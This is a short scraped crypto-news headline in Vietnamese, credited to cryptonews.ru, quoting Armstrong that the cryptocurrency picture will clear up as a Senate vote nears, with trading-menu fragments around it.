Armstrong: Trong mọi trường hợp, tình hình tiền điện tử sẽ sáng tỏ khi cuộc bỏ phiếu tại Thượng viện đến gần

cryptonews.ru11 phút trước

Giao dịch

Giao ngay
活动图片